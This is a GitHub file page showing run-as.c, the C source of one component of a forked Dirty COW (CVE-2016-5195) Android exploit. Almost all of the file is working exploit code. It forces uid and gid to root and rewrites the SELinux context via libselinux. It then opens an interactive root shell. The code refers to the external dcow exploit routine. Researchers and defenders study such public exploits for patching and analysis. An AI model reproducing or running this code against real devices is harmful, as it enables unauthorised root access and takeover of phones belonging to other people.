forked from timwr/CVE-2016-5195
-
Notifications
You must be signed in to change notification settings - Fork 0
/
run-as.c
71 lines (60 loc) · 1.7 KB
/
run-as.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <dlfcn.h>
#include <fcntl.h>
#ifdef DEBUG
#include <android/log.h>
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#elif PRINT
#define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout); }
#else
#define LOGV(...)
#endif
//reduce binary size
char __aeabi_unwind_cpp_pr0[0];
typedef int getcon_t(char ** con);
typedef int setcon_t(const char* con);
extern int dcow(int argc, const char *argv[]);
int main(int argc, const char **argv)
{
LOGV("uid %s %d", argv[0], getuid());
if (setresgid(0, 0, 0) || setresuid(0, 0, 0)) {
LOGV("setresgid/setresuid failed");
}
LOGV("uid %d", getuid());
dlerror();
#ifdef __aarch64__
void * selinux = dlopen("/system/lib64/libselinux.so", RTLD_LAZY);
#else
void * selinux = dlopen("/system/lib/libselinux.so", RTLD_LAZY);
#endif
if (selinux) {
void * getcon = dlsym(selinux, "getcon");
const char *error = dlerror();
if (error) {
LOGV("dlsym error %s", error);
} else {
getcon_t * getcon_p = (getcon_t*)getcon;
char * secontext;
int ret = (*getcon_p)(&secontext);
LOGV("%d %s", ret, secontext);
void * setcon = dlsym(selinux, "setcon");
const char *error = dlerror();
if (error) {
LOGV("dlsym setcon error %s", error);
} else {
setcon_t * setcon_p = (setcon_t*)setcon;
ret = (*setcon_p)("u:r:shell:s0");
ret = (*getcon_p)(&secontext);
LOGV("context %d %s", ret, secontext);
}
}
dlclose(selinux);
} else {
LOGV("no selinux?");
}
system("/system/bin/sh -i");
}